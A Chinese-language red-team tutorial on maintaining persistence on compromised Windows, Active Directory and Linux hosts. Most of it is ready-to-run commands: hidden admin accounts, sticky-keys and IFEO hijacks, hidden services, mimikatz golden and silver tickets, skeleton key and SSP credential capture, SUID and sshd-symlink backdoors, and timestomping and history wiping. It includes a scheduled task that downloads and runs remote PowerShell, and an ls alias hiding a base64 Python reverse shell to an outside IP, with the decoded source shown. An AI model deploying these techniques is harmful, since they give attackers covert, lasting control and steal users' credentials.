权限维持手法
在本文从Windows 主机后门、Windows 文件隐藏、域后门、Linux 后门、Linux 文件隐藏这五个方面讨论红队中的权限维持手法
[TOC]
Windows主机后门
1、隐藏账号
#这个是比较常见的创建后门的方法,直接建立一个隐藏账号
#虽然使用 net user 是看不到这个账号的,但是在控制面板里可以看到,因此这种隐藏效果并不是很好
net user teamssix$ Passw0rd /add
net localgroup administrators teamssix$ /add
说明:想要更好的隐藏效果,可以通过注册表克隆用户实现,只是操作起来比较繁琐。teamssix师傅写的一个利用注册表创建隐藏用户的小工具可以快速实现这个功能【https://github.com/wgpsec/CreateHiddenAccount】
#创建一个隐藏用户
CreateHiddenAccount.exe -u teamssix -p Passw0rd
#检查当前系统的隐藏账号
CreateHiddenAccount.exe -c
#删除用户
CreateHiddenAccount.exe -d teamssix
2、计划任务
说明:计划任务也是比较常见的权限维持方法,计划任务在 Win7 之前使用 at 命令,之后的系统中使用 schtasks 命令
#每小时执行一次calc.exe
schtasks /create /tn updater /tr calc.exe /sc hourly /mo 1
#当系统空闲时,执行 CS 上线 PowerShell 脚本
schtasks /create /tn WindowsUpdate /tr "powershell.exe -nop -w hidden -c 'IEX ((new-object net.webclient).downloadstring('''http://172.16.214.1:80/a'''))'" /sc onidle /i 1
3、shift后门
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y
#如果提示访问被拒绝,可以在管理员权限下,加上 everyone 的权限再试试
cacls C:\Windows\System32\sethc.exe /T /E /G everyone:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe /y
#也可以使用注册表
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"
说明:在系统登录界面,按5下shift键就能打开cmd窗口,即粘滞键后门
补充:除了使用按5下shift 打开粘滞键的功能外,同样的道理,还可以使用辅助工具、放大镜、屏幕键盘等等
#这里演示使用辅助工具utilman.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
#演示使用屏幕键盘osk.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\osk.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
#演示放大镜Magnify.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
4、组策略
流程:
- 新建一个 bat 文件,这里 bat 内容遵循cmd/PowerShell语法,比如 calc
- 进入本地组策略
- 终端中键入gpedit.msc
- win+R键入gpedit.msc
- 用户配置–>Windows设置–>脚本登录–>选择 bat 文件【当用户登录时就会触发这个 bat 文件】
5、注册表
说明:在系统启动的注册表下添加恶意程序,这样当用户登录系统时,exe 就会被运行,或者将 exe 直接放到系统启动的文件夹里也是一样的道理
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Vmware Regg" /t REG_SZ /d "C:\Windows\System32\calc.exe" /f
6、服务自启动
说明:直接使用命令创建服务
sc create teamssix start=auto binPath="cmd.exe /k ping -n 1 test.xxx.ceye.io" obj=Localsystem
#启动该服务
net start teamssix
#可能会报错,但其实是被执行的
注意:这种创建服务的方法隐藏性太弱,直接在服务里就能看到
可以在创建完服务后,使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务,如下
#隐藏服务
sc.exe sdset teamssix "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
#可以使用以下命令恢复
& $env:SystemRoot\System32\sc.exe sdset teamssix "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
7、nishang后门
说明:nishang 是一个 PowerShell 项目,里面集成了众多工具,其中包含有制作后门的工具【https://github.com/samratashok/nishang】
HTTP-Backdoor
cd nishang\Backdoors
Import-Module .\HTTP-Backdoor.ps1
HTTP-Backdoor -CheckURL http://192.168.7.1/1.txt -PayloadURL http://192.168.7.1/calc.ps1 -MagicString start -StopString stop
说明:该脚本会读取 CheckURL 的内容,这里设置的 MagicString 为 start,即当 http://192.168.7.1/1.txt 内容为 start 的时候,就会执行 http://192.168.7.1/calc.ps1 脚本
Add-ScrnSaveBackdoor
说明:Add-ScrnSaveBackdoor 脚本可以帮助攻击者利用 Windows 的屏幕保护程序来安装一个隐藏的后门,该脚本需要管理员权限
Import-Module .\Add-ScrnSaveBackdoor.ps1
Add-ScrnSaveBackdoor -Payload "Powershell.exe calc"
当屏幕保护程序启动时,就会运行 Payload 里的内容
除了上面的两个脚本外,还有 Execute-OnTime 和 Invoke-ADSBackdoor。其中 Execute-OnTime 和 HTTP-Backdoor 脚本的使用方法相似,不过增加了定时启动脚本的功能。Windows 下的制作后门方法当然不止上面这些,还有其他的,比如进程注入、dll 劫持等等。
Windows文件隐藏
1、文件属性
说明:文件右击属性,选择隐藏即可
如果想显示文件,就在文件夹选择中选择「显示隐藏的文件、文件夹和驱动器」就行了
也可以键入如下命令
attrib +s +a +h +r
2、ADS
说明:ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,创建一个数据交换流文件的方法很简单,命令为“宿主文件:准备与宿主文件关联的数据流文件”。
echo teamssix > CreateHiddenAccount_v0.2.exe:test.txt
使用 dir 是看不到的,使用 dir /r 才可以
如果想编辑该文件,可以使用 notepad 进行编辑
如果想执行 exe 文件,可以先创建一个快捷方式,再执行
type evil.exe > CreateHiddenAccount_v0.2.exe:evil.exe
#需要管理员权限
mklink "C:\Users\test\Desktop\evillink.exe" "C:\Users\test\Desktop\CreateHiddenAccount_v0.2.exe:evil.exe"
start evil.exe
#如果想删除这个隐藏文件,需要删除宿主文件才行
3、系统文件夹伪装
例如这里有一个 test 文件夹,将 test 命名为:我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D},这时文件夹的图标就会变为「我的电脑」图标
使用 dir 可以看到里面的文件,但如果点击这个文件夹,就会真的进入到「我的电脑」界面里
下面是一些其他的常用标识符
上帝模式.{ED7BA470-8E54-465E-825C-99712043E01C}
CLSIDexcel.{00020810-0000-0000-C000-000000000046}
word.{00020900-0000-0000-C000-000000000046}
media.{00022603-0000-0000-C000-000000000046}
CAB.{0CD7A5C0-9F37-11CE-AE65-08002B2E1262}
计划任务.{148BD520-A2AB-11CE-B11F-00AA00530503}
搜索-计算机{1f4de370-d627-11d1-ba4f-00a0c91eedba}
网上邻居.{208D2C60-3AEA-1069-A2D7-08002B30309D}
我的电脑.{20D04FE0-3AEA-1069-A2D8-08002B30309D}
控制面板.{21EC2020-3AEA-1069-A2DD-08002B30309D}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}
html.{25336920-03f9-11cf-8fd0-00aa00686f13}
mht.{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}
mshta.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B}
我的文档.{450D8FBA-AD25-11D0-98A8-0800361B1103}
XML.{48123bc4-99d9-11d1-a6b3-00c04fd91555}
回收站(满).{5ef4af3a-f726-11d0-b8a2-00c04fc309a4}
回收站.{645FF040-5081-101B-9F08-00AA002F954E}
ftp_folder.{63da6ec0-2e98-11cf-8d82-444553540000}
网络和拨号连接.{7007ACC7-3202-11D1-AAD2-00805FC1270E}
写字板文档.{73FDDC80-AEA9-101A-98A7-00AA00374959}
Temporary Offline Files Cleaner.{750fdf0f-2a26-11d1-a3ea-080036587f03}
用户和密码.{7A9D77BD-5403-11d2-8785-2E0420524153}
Internet 临时文件.{7BD29E00-76C1-11CF-9DD0-00A0C9034933}
已下载的程序文件的清除程序.{8369AB20-56C9-11D0-94E8-00AA0059CE02}
公文包.{85BBD920-42A0-1069-A2E4-08002B30309D}
ActiveX 高速缓存文件夹.{88C6C381-2E85-11D0-94DE-444553540000}
mail.{9E56BE60-C50F-11CF-9A2C-00A0C90A90CE}
历史记录.{FF393560-C2A7-11CF-BFF4-444553540000}
目录.{fe1290f0-cfbd-11cf-a330-00aa00c16e65}
Internet Explorer.{FBF23B42-E3F0-101B-8488-00AA003E56F8}
Snapshot File.{FACB5ED2-7F99-11D0-ADE2-00A0C90DC8D9}
预订文件夹.{F5175861-2688-11d0-9C5E-00AA00A45957}
MyDocs Drop Target.{ECF03A32-103D-11d2-854D-006008059367}
Policy Package.{ecabaebd-7f19-11d2-978E-0000f8757e2a}
搜索结果.{e17d4fc0-5564-11d1-83f2-00a0c90dc849}
添加网上邻居.{D4480A50-BA28-11d1-8E75-00C04FA31A86}
Paint.{D3E34B21-9D75-101A-8C3D-00AA001A1652}
管理工具.{D20EA4E1-3957-11d2-A40B-0C5020524153}
字体.{D20EA4E1-3957-11d2-A40B-0C5020524152}
Web Folders.{BDEADF00-C265-11d0-BCED-00A0C90AB50F}
DocFind Command.{B005E690-678D-11d1-B758-00A0C90564FE}
脱机文件夹.{AFDB1F70-2A4C-11d2-9039-00C04F8EEB3E}
打印机.{2227A280-3AEA-1069-A2DE-08002B30309D}
说明:其他手法还有畸形文件夹、保留文件名无法删除和利用 Easy File Locker 实现驱动级文件隐藏等等,或者直接起一个看起来名称很像的文件,比如 Index.php 和 lndex.php,这里其中一个是大写的 i,一个是小写的 L
域后门
1、黄金票据
说明:通过黄金票据可以实现域内任意用户的伪造,因此即使目标域管理员的密码被修改了,通过黄金票据还是能够获取到对方的权限
在生成黄金票据前,需要先获取以下信息:
- krbtgt 的 NTLM Hash 或 AES-256 值
- 伪造的域管理员用户名
- 完整的域名
- 域 SID
其中 krbtgt 用户是域自带的用户,被 KDC 密钥分发中心服务所使用,属于 Domain Admins 组。在域环境中,每个用户账号的票据都是由 krbtgt 用户所生成的,因此如果知道了 krbtgt 用户的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份了。
操作流程:
- 使用 mimikatz 在域控上获取 krbtgt 用户的 NTLM HASH
mimikatz.exe "lsadump::dcsync /domain:teamssix.com /user:krbtgt" exit
从图中可以看到 krbtgt 的 NTLM Hash 为 d685b9c4fa2d318a9943ed68948af087,SID 为 S-1-5-21-284927032-1122706408-2778656994。此时已知域名为 teamssix.com,那么这时所需要的信息就全了。接着来到一台普通域用户权限的主机下,查看 \dc\c$ 发现时拒绝访问的
- 制作黄金票据
kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi
- 使用 mimikatz 进行票据传递
kerberos::ptt Administrator.kiribi
再次查看 \dc\c$ 发现时就有权限了
PsExec 也同样可以
2、白银票据
白银票据和黄金票据的区别如下:
- 白银票据不经过 KDC,因此白银票据日志相对于黄金票据会更少,同时白银票据的日志都在目标服务器上,域控上不会有日志,因此白银票据更加隐蔽。
- 白银票据利用服务账户的哈希值,不同于黄金票据利用 krbtgt 账户的哈希值,所以白银票据的权限就远不如黄金票据的权限了。
想利用白银票据需要先具备以下信息:
- 域名
- 域 SID
- 目标服务器的 FQDN 即完整的域名
- 可利用的服务
- 服务账户的 NTLM 哈希
- 伪造的用户名即任意用户名
下面以伪造 CIFS 服务的权限为例:
- CIFS 服务常用于 Windows 主机之间的文件共享,首先使用 mimikatz 获取服务账户的 NTLM 哈希,这里使用的 Username 为 DC$ 的 NTLM 哈希
.\mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
补充:用户名末尾的$符
- 利用获取到的 Hash 生成白银票据
.\mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit
- 伪造票据后,使用 dir 命令就能获取到目标的 CIFS 服务权限了,除了 CIFS 服务外,还可以伪造 LDAP 等等服务
3、SSP权限维持
说明:通过 SSP 权限维持,用户在登录时,密码将会以明文的形式保存在 C:\Windows\System32\mimilsa.log 下。使用 mimikatz 将伪造的 SSP 注入内存,但如果域控重启,被注入内存的伪造 SSP 就会丢失。
#在Mimikatz中执行
privilege::debug
misc::memssp
注销当前用户,输入用户名密码后重新登录,就可以获取到明文密码了
也可以使用 mimikatz 中的 mimilib.dll 文件进行 SSP 权限维持,这种方法重启后不会失效。
4、SID History后门
说明:每个用户都有自己的安全标识符即 SID,SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
操作手法:
- 这里使用 mimikatz 将管理员的 SID 添加到普通用户的 SID History 中
privilege::debug
sid::patch
sid::add /sam:test /new:administrator
- 使用 test 用户登录,可以看到已经拥有了管理员权限
5、万能密码
说明:在域管权限下,使用 mimikatz 即可
.\mimikatz.exe "privilege::debug" "misc::skeleton" exit
此时,就可以在域内以任意用户的身份利用 mimikatz 密码进行登录了
net use \\dc\ipc$ "mimikatz" /user:teamssix\administrator
IPC$共享是Windows系统中的一个特殊隐藏共享,用于进程间通信。通过建立与IPC$共享的连接,可以与远程计算机进行某些操作,例如执行命令、访问共享文件夹等。
除了上面的方法外,还可以使用 DSRM 账号进行权限维持,也可以使用 Hook PasswordChangeNotify 脚本查看目标用户修改后的新密码。
Linux主机后门
1、添加用户
#一句话添加用户(test:123456)
useradd test;echo -e "123456\n123456\n" |passwd test
#或者使用openssl
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
2、SUID Shell
说明:SUID Shell是一种可用于以拥有者权限运行的shell
#以root用户权限执行下面的命令
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell
#在使用普通用户权限的时候,执行以下命令就能获取root权限
/tmp/shell -p
3、软链接
说明:软链接的利用前提是 ssh 配置中开启了 PAM 进行身份验证
#使用以下命令查看是否配置PAM认证
cat /etc/ssh/sshd_config | grep UsePAM
#在目标主机上创建一句话后门
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
#然后直接ssh root@IP -p 8888,输入任意密码,就可以登录
4、strace后门(或称alias 后门)
alias命令介绍:
strace命令介绍:
利用方式:
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
这时当用户使用 ssh 连接其他主机时,在 /tmp/.ssh.log 下就能看到连接的密码、操作了,只是显示的不是很直观,如下
另一种利用方式
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yNDEuMTI4IiwgNjY2NikpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
上面的 base64 解码后为以下内容
import os,socket,subprocess;
ret = os.fork()
if ret > 0:
exit()
else:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.241.128", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
except Exception as e:
exit()
这样当用户使用 ls 命令时,就会反弹 shell 回来了,当然除了反弹 shell 还可以做很多的其他操作
5、使用screen命令后台运行
说明:利用screen命令让命令在后台运行实现权限维持
#发现screen
#查看进程寻找
ps -aux | grep screen
#或者 screen -ls 可以看到当前是否有 screen 在后台运行
#使用screen建立新的终端
screen -S screenname
#Ctrl+a+d(Mac 是 control+a+d)退出 screen 并使命令在后台运行
#screen -r screenname 进入刚才的终端
除此之外,还有比较常见的定时任务、SSH 公钥登录以及 SSH warpper、openssh 后门、PAM 后门、rootkit 后门等等
Linux文件隐藏
1、隐藏文件时间戳
#复制其他文件的时间
touch -r teamssix.txt evil.txt
#自定义文件的时间,这里演示将时间改为 2022 年的 1 月 1 日 1 时 1 分 1 秒
touch -t 202201010101.01 evil.txt
2、隐身登录
说明:隐身登录系统,不会被 w、who、last 检测到
w命令介绍:
#显示当前登录用户的信息
w
#显示短格式的用户信息
w -s
#显示用户的空闲时间
w -u
#显示用户的登录IP地址
w -i
last命令介绍:
#显示最近的登录记录
last
#显示特定用户的登录记录
last username
#显示最近的10条登录记录
last -n 10
#显示登录IP地址
last -i
#显示指定时间范围内的登录记录
last --since "2023-10-01" --until "2023-10-15"
隐身登录手法:
#一般隐身登录
ssh -T root@host /bin/bash -i
#隐身登录系统,同时不保存公钥在本地的 .ssh 目录中
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i
3、锁定文件
说明:当文件被锁定时,是无法删除的
#锁定文件
chattr +i evil.txt
#属性查看
lsattr evil.txt
#解除锁定
chattr -i evil.txt
#删除文件
rm -rf 1.evil.txt
4、隐藏历史操作记录
#临时禁用历史命令记录功能(注意在 set 命令前有一个空格)
set +o history
#如果想某条命令不记录到 history 中,直接在命令前加上空格就行,如 ls、 pwd
#或者使用grep过滤出history中要删除的文件行,再 -d 指定行即可删除,比如第11行记录
history | grep "key"
history -d 11
除此之外,还有在文件前加上 . 实现隐藏文件以及端口复用、进程隐藏等等方法。